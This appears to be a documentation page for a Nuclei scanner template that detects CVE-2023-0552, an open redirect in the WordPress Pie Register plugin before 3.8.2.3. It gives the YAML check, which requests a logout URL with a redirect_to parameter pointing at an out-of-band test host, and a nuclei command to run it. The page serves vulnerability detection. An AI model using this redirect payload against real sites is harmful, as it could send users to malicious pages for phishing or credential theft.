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WordPress Pie Register <3.8.2.3 - Open Redirect

ID: CVE-2023-0552

Severity: medium

Author: r3Y3r53

Tags: cve2023,cve,redirect,pie,pie-register,wpscan,genetechsolutions,wordpress

Description

Section titled “Description”

WordPress Pie Register plugin before 3.8.2.3 contains an open redirect vulnerability. The plugin does not properly validate the redirection URL when logging in and login out. An attacker can redirect a user to a malicious site and possibly obtain sensitive information, modify data, and/or execute unauthorized operations.

YAML Source

Section titled “YAML Source”
id: CVE-2023-0552


info:
  name: WordPress Pie Register <3.8.2.3 - Open Redirect
  author: r3Y3r53
  severity: medium
  description: |
    WordPress Pie Register plugin before 3.8.2.3 contains an open redirect vulnerability. The plugin does not properly validate the redirection URL when logging in and login out. An attacker can redirect a user to a malicious site and possibly obtain sensitive information, modify data, and/or execute unauthorized operations.
  remediation: |
    Fixed in version 3.8.2.3.
  reference:
    - https://wpscan.com/vulnerability/832c6155-a413-4641-849c-b98ba55e8551
    - https://nvd.nist.gov/vuln/detail/CVE-2023-0552
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 5.4
    cve-id: CVE-2023-0552
    cwe-id: CWE-601
    epss-score: 0.00092
    epss-percentile: 0.39168
    cpe: cpe:2.3:a:genetechsolutions:pie_register:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: genetechsolutions
    product: pie_register
    framework: wordpress
  tags: cve2023,cve,redirect,pie,pie-register,wpscan,genetechsolutions,wordpress


http:
  - method: GET
    path:
      - "{{BaseURL}}/wp-admin?piereg_logout_url=true&redirect_to=https://oast.me"


    redirects: true
    matchers:
      - type: regex
        part: header
        regex:
          - '(?m)^(?:Location\s*?:\s*?)(?:https?://|//)(?:[a-zA-Z0-9\-_\.@]*)oast\.me.*$'
# digest: 4a0a00473045022100b62ea2244ba97ecae5576ea90d732af6f93bbfb5f031afecb0264af84c2783130220197f5290cf9ea809c888e055200198dda04eda769709996f6dc3ece5df395492:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/cves/2023/CVE-2023-0552.yaml"

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